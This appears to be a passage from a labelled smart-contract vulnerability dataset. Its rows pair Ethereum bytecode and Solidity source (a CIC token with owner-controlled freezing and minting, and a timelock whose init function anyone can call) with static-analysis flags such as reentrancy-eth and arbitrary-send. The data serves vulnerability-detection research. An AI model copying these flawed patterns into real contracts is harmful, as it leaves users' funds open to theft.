fffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148957600080fd5b505afa15801561149d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c19190611e12565b816001815181106114d5576114d4612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115a095949392919061248c565b600060405180830381600087803b1580156115ba57600080fd5b505af11580156115ce573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90612351565b60405180910390fd5b60006116426116db565b9050611657818461170690919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c7573d6000803e3d6000fd5b5050565b6116d6838383611750565b505050565b60008060006116e861191b565b915091506116ff818361170690919063ffffffff16565b9250505090565b600061174883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197a565b905092915050565b600080600080600080611762876119dd565b9550955095509550955095506117c086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a181611aeb565b6118ab8483611ba8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119089190612471565b60405180910390a3505050505050505050565b600080600060075490506000678ac7230489e80000905061194f678ac7230489e8000060075461170690919063ffffffff16565b82101561196d57600754678ac7230489e80000935093505050611976565b81819350935050505b9091565b600080831182906119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b8919061230f565b60405180910390fd5b50600083856119d091906125ac565b9050809150509392505050565b60008060008060008060008060006119f88a60016009611be2565b9250925092506000611a086116db565b90506000806000611a1b8e878787611c78565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611305565b905092915050565b6000808284611a9c9190612556565b905083811015611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad890612391565b60405180910390fd5b8091505092915050565b6000611af56116db565b90506000611b0c8284611d0190919063ffffffff16565b9050611b6081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bbd82600754611a4390919063ffffffff16565b600781905550611bd881600854611a8d90919063ffffffff16565b6008819055505050565b600080600080611c0e6064611c00888a611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c386064611c2a888b611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c6182611c53858c611a4390919063ffffffff16565b611a4390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c918589611d0190919063ffffffff16565b90506000611ca88689611d0190919063ffffffff16565b90506000611cbf8789611d0190919063ffffffff16565b90506000611ce882611cda8587611a4390919063ffffffff16565b611a4390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d145760009050611d76565b60008284611d2291906125dd565b9050828482611d3191906125ac565b14611d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d68906123b1565b60405180910390fd5b809150505b92915050565b600081359050611d8b81612a7b565b92915050565b600081519050611da081612a7b565b92915050565b600081519050611db581612a92565b92915050565b600081359050611dca81612aa9565b92915050565b600081519050611ddf81612aa9565b92915050565b600060208284031215611dfb57611dfa6127c1565b5b6000611e0984828501611d7c565b91505092915050565b600060208284031215611e2857611e276127c1565b5b6000611e3684828501611d91565b91505092915050565b60008060408385031215611e5657611e556127c1565b5b6000611e6485828601611d7c565b9250506020611e7585828601611d7c565b9150509250929050565b600080600060608486031215611e9857611e976127c1565b5b6000611ea686828701611d7c565b9350506020611eb786828701611d7c565b9250506040611ec886828701611dbb565b9150509250925092565b60008060408385031215611ee957611ee86127c1565b5b6000611ef785828601611d7c565b9250506020611f0885828601611dbb565b9150509250929050565b600060208284031215611f2857611f276127c1565b5b6000611f3684828501611da6565b91505092915050565b600060208284031215611f5557611f546127c1565b5b6000611f6384828501611dd0565b91505092915050565b600080600060608486031215611f8557611f846127c1565b5b6000611f9386828701611dd0565b9350506020611fa486828701611dd0565b9250506040611fb586828701611dd0565b9150509250925092565b6000611fcb8383611fd7565b60208301905092915050565b611fe08161266b565b82525050565b611fef8161266b565b82525050565b600061200082612511565b61200a8185612534565b935061201583612501565b8060005b8381101561204657815161202d8882611fbf565b975061203883612527565b925050600181019050612019565b5085935050505092915050565b61205c8161267d565b82525050565b61206b816126c0565b82525050565b600061207c8261251c565b6120868185612545565b93506120968185602086016126d2565b61209f816127c6565b840191505092915050565b60006120b7602383612545565b91506120c2826127d7565b604082019050919050565b60006120da602a83612545565b91506120e582612826565b604082019050919050565b60006120fd602283612545565b915061210882612875565b604082019050919050565b6000612120601b83612545565b915061212b826128c4565b602082019050919050565b6000612143602183612545565b915061214e826128ed565b604082019050919050565b6000612166602083612545565b91506121718261293c565b602082019050919050565b6000612189602983612545565b915061219482612965565b604082019050919050565b60006121ac602583612545565b91506121b7826129b4565b604082019050919050565b60006121cf602483612545565b91506121da82612a03565b604082019050919050565b60006121f2601783612545565b91506121fd82612a52565b602082019050919050565b612211816126a9565b82525050565b612220816126b3565b82525050565b600060208201905061223b6000830184611fe6565b92915050565b60006040820190506122566000830185611fe6565b6122636020830184611fe6565b9392505050565b600060408201905061227f6000830185611fe6565b61228c6020830184612208565b9392505050565b600060c0820190506122a86000830189611fe6565b6122b56020830188612208565b6122c26040830187612062565b6122cf6060830186612062565b6122dc6080830185611fe6565b6122e960a0830184612208565b979650505050505050565b60006020820190506123096000830184612053565b92915050565b600060208201905081810360008301526123298184612071565b905092915050565b6000602082019050818103600083015261234a816120aa565b9050919050565b6000602082019050818103600083015261236a816120cd565b9050919050565b6000602082019050818103600083015261238a816120f0565b9050919050565b600060208201905081810360008301526123aa81612113565b9050919050565b600060208201905081810360008301526123ca81612136565b9050919050565b600060208201905081810360008301526123ea81612159565b9050919050565b6000602082019050818103600083015261240a8161217c565b9050919050565b6000602082019050818103600083015261242a8161219f565b9050919050565b6000602082019050818103600083015261244a816121c2565b9050919050565b6000602082019050818103600083015261246a816121e5565b9050919050565b60006020820190506124866000830184612208565b92915050565b600060a0820190506124a16000830188612208565b6124ae6020830187612062565b81810360408301526124c08186611ff5565b90506124cf6060830185611fe6565b6124dc6080830184612208565b9695505050505050565b60006020820190506124fb6000830184612217565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612561826126a9565b915061256c836126a9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125a1576125a0612705565b5b828201905092915050565b60006125b7826126a9565b91506125c2836126a9565b9250826125d2576125d1612734565b5b828204905092915050565b60006125e8826126a9565b91506125f3836126a9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262c5761262b612705565b5b828202905092915050565b6000612642826126a9565b915061264d836126a9565b9250828210156126605761265f612705565b5b828203905092915050565b600061267682612689565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126cb826126a9565b9050919050565b60005b838110156126f05780820151818401526020810190506126d5565b838111156126ff576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a848161266b565b8114612a8f57600080fd5b50565b612a9b8161267d565b8114612aa657600080fd5b50565b612ab2816126a9565b8114612abd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b1500be91f2778facb770f562206405a1f14e96fc97f53b401af8cbf2930936064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,982 |
0xedabc2a993cd24d01fe68a200b98190250969714
|
pragma solidity ^0.4.24;
// sol to CIC token
//
// Senior Development Engineer CHIEH-HSUAN WANG of Lucas.
// Jason Wang <ixhxpns@gmail.com>
// reference https://ethereum.org/token
contract owned {
address public owner;
constructor() owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract TokenERC20 is owned {
address public deployer;
// Public variables of the token
string public name ="Call IN";
string public symbol = "CIC";
uint8 public decimals = 4;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply = 1000000000000;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Approval(address indexed owner, address indexed spender, uint value);
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
deployer = msg.sender;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(allowance[_from][msg.sender] >= _value); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) onlyOwner public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
}
contract AdvancedToken is TokenERC20 {
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor() TokenERC20() public { }
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(balanceOf[_from] >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
uint tempSupply = totalSupply;
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
require(totalSupply >= tempSupply);
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function () payable public {
require(false);
}
}
contract CIC is AdvancedToken {
mapping(address => uint) public lockdate;
mapping(address => uint) public lockTokenBalance;
event LockToken(address account, uint amount, uint unixtime);
constructor() AdvancedToken() public {}
function getLockBalance(address account) internal returns(uint) {
if(now >= lockdate[account]) {
lockdate[account] = 0;
lockTokenBalance[account] = 0;
}
return lockTokenBalance[account];
}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
uint usableBalance = balanceOf[_from] - getLockBalance(_from);
require(balanceOf[_from] >= usableBalance);
require(_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(usableBalance >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function lockTokenToDate(address account, uint amount, uint unixtime) onlyOwner public {
require(unixtime >= lockdate[account]);
require(unixtime >= now);
if(balanceOf[account] >= amount) {
lockdate[account] = unixtime;
lockTokenBalance[account] = amount;
emit LockToken(account, amount, unixtime);
}
}
function lockTokenDays(address account, uint amount, uint _days) public {
uint unixtime = _days * 1 days + now;
lockTokenToDate(account, amount, unixtime);
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) onlyOwner public returns (bool success) {
uint usableBalance = balanceOf[msg.sender] - getLockBalance(msg.sender);
require(balanceOf[msg.sender] >= usableBalance);
require(usableBalance >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
}
|
0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610118578063095ea7b3146101a257806318160ddd146101da57806323b872dd1461020157806324ab83d31461022b578063313ce5671461024c57806342966c68146102775780634aafef501461028f57806370a08231146102b057806379c65068146102d15780638da5cb5b146102f557806395d89b4114610326578063a9059cbb1461033b578063b414d4b61461035f578063d472fa2614610380578063d5f39488146103a7578063d95405f2146103bc578063dd62ed3e146103e3578063e724529c1461040a578063f2fde38b14610430575b600080fd5b005b34801561012457600080fd5b5061012d610451565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016757818101518382015260200161014f565b50505050905090810190601f1680156101945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ae57600080fd5b506101c6600160a060020a03600435166024356104dc565b604080519115158252519081900360200190f35b3480156101e657600080fd5b506101ef610542565b60408051918252519081900360200190f35b34801561020d57600080fd5b506101c6600160a060020a0360043581169060243516604435610548565b34801561023757600080fd5b506101ef600160a060020a03600435166105b7565b34801561025857600080fd5b506102616105c9565b6040805160ff9092168252519081900360200190f35b34801561028357600080fd5b506101c66004356105d2565b34801561029b57600080fd5b506101ef600160a060020a0360043516610680565b3480156102bc57600080fd5b506101ef600160a060020a0360043516610692565b3480156102dd57600080fd5b50610116600160a060020a03600435166024356106a4565b34801561030157600080fd5b5061030a610771565b60408051600160a060020a039092168252519081900360200190f35b34801561033257600080fd5b5061012d610780565b34801561034757600080fd5b50610116600160a060020a03600435166024356107db565b34801561036b57600080fd5b506101c6600160a060020a03600435166107ea565b34801561038c57600080fd5b50610116600160a060020a03600435166024356044356107ff565b3480156103b357600080fd5b5061030a6108d1565b3480156103c857600080fd5b50610116600160a060020a03600435166024356044356108e0565b3480156103ef57600080fd5b506101ef600160a060020a03600435811690602435166108f9565b34801561041657600080fd5b50610116600160a060020a03600435166024351515610916565b34801561043c57600080fd5b50610116600160a060020a0360043516610991565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156104d45780601f106104a9576101008083540402835291602001916104d4565b820191906000526020600020905b8154815290600101906020018083116104b757829003601f168201915b505050505081565b336000818152600760209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60055481565b600160a060020a038316600090815260076020908152604080832033845290915281205482111561057857600080fd5b600160a060020a03841660009081526007602090815260408083203384529091529020805483900390556105ad8484846109d7565b5060019392505050565b60096020526000908152604090205481565b60045460ff1681565b600080548190600160a060020a031633146105ec57600080fd5b6105f533610b0d565b33600090815260066020526040902054908103915081111561061657600080fd5b8281101561062357600080fd5b3360008181526006602090815260409182902080548790039055600580548790039055815186815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a250600192915050565b600a6020526000908152604090205481565b60066020526000908152604090205481565b60008054600160a060020a031633146106bc57600080fd5b5060058054600160a060020a03841660009081526006602052604090208054840190558154830191829055908111156106f457600080fd5b60408051838152905130916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3604080518381529051600160a060020a0385169130917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3505050565b600054600160a060020a031681565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104d45780601f106104a9576101008083540402835291602001916104d4565b6107e63383836109d7565b5050565b60086020526000908152604090205460ff1681565b600054600160a060020a0316331461081657600080fd5b600160a060020a03831660009081526009602052604090205481101561083b57600080fd5b4281101561084857600080fd5b600160a060020a03831660009081526006602052604090205482116108cc57600160a060020a0383166000818152600960209081526040808320859055600a82529182902085905581519283528201849052818101839052517f2d814308d70a2c356e04b9495a463b35b22563f541e00d2dad99471d284966129181900360600190a15b505050565b600154600160a060020a031681565b62015180810242016108f38484836107ff565b50505050565b600760209081526000928352604080842090915290825290205481565b600054600160a060020a0316331461092d57600080fd5b600160a060020a038216600081815260086020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600054600160a060020a031633146109a857600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60006109e284610b0d565b600160a060020a0385166000908152600660205260409020549081039150811115610a0c57600080fd5b600160a060020a0383161515610a2157600080fd5b81811015610a2e57600080fd5b600160a060020a03831660009081526006602052604090205482810111610a5457600080fd5b600160a060020a03841660009081526008602052604090205460ff1615610a7a57600080fd5b600160a060020a03831660009081526008602052604090205460ff1615610aa057600080fd5b600160a060020a03808516600081815260066020908152604080832080548890039055938716808352918490208054870190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a350505050565b600160a060020a0381166000908152600960205260408120544210610b5357600160a060020a0382166000908152600960209081526040808320839055600a9091528120555b50600160a060020a03166000908152600a6020526040902054905600a165627a7a72305820e4461bf10827bcea2f0eb7883749383920285ce516069da5a44c5d6e119490c30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 5,983 |
0x746F87000c696E3879e02C7eba184Cc922a2E15b
|
pragma solidity 0.6.12;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract sbTimelock {
using SafeMath for uint256;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint256 indexed newDelay);
event CancelTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
event ExecuteTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
event QueueTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
uint256 public constant GRACE_PERIOD = 14 days;
uint256 public constant MINIMUM_DELAY = 2 days;
uint256 public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint256 public delay;
bool internal initDone;
mapping(bytes32 => bool) public queuedTransactions;
function init(address admin_, uint256 delay_) public {
require(!initDone, 'sbTimelock::init: Init has already been called.');
require(delay_ >= MINIMUM_DELAY, 'sbTimelock::init: Delay must exceed minimum delay.');
require(delay_ <= MAXIMUM_DELAY, 'sbTimelock::init: Delay must not exceed maximum delay.');
admin = admin_;
delay = delay_;
initDone = true;
}
receive() external payable {}
function setDelay(uint256 delay_) public {
require(msg.sender == address(this), 'sbTimelock::setDelay: Call must come from sbTimelock.');
require(delay_ >= MINIMUM_DELAY, 'sbTimelock::setDelay: Delay must exceed minimum delay.');
require(delay_ <= MAXIMUM_DELAY, 'sbTimelock::setDelay: Delay must not exceed maximum delay.');
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, 'sbTimelock::acceptAdmin: Call must come from pendingAdmin.');
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
require(msg.sender == address(this), 'sbTimelock::setPendingAdmin: Call must come from sbTimelock.');
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public returns (bytes32) {
require(msg.sender == admin, 'sbTimelock::queueTransaction: Call must come from admin.');
require(
eta >= getBlockTimestamp().add(delay),
'sbTimelock::queueTransaction: Estimated execution block must satisfy delay.'
);
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public {
require(msg.sender == admin, 'sbTimelock::cancelTransaction: Call must come from admin.');
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) public payable returns (bytes memory) {
require(msg.sender == admin, 'sbTimelock::executeTransaction: Call must come from admin.');
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "sbTimelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "sbTimelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), 'sbTimelock::executeTransaction: Transaction is stale.');
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call{ value: value }(callData);
require(success, 'sbTimelock::executeTransaction: Transaction execution reverted.');
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint256) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
}
|
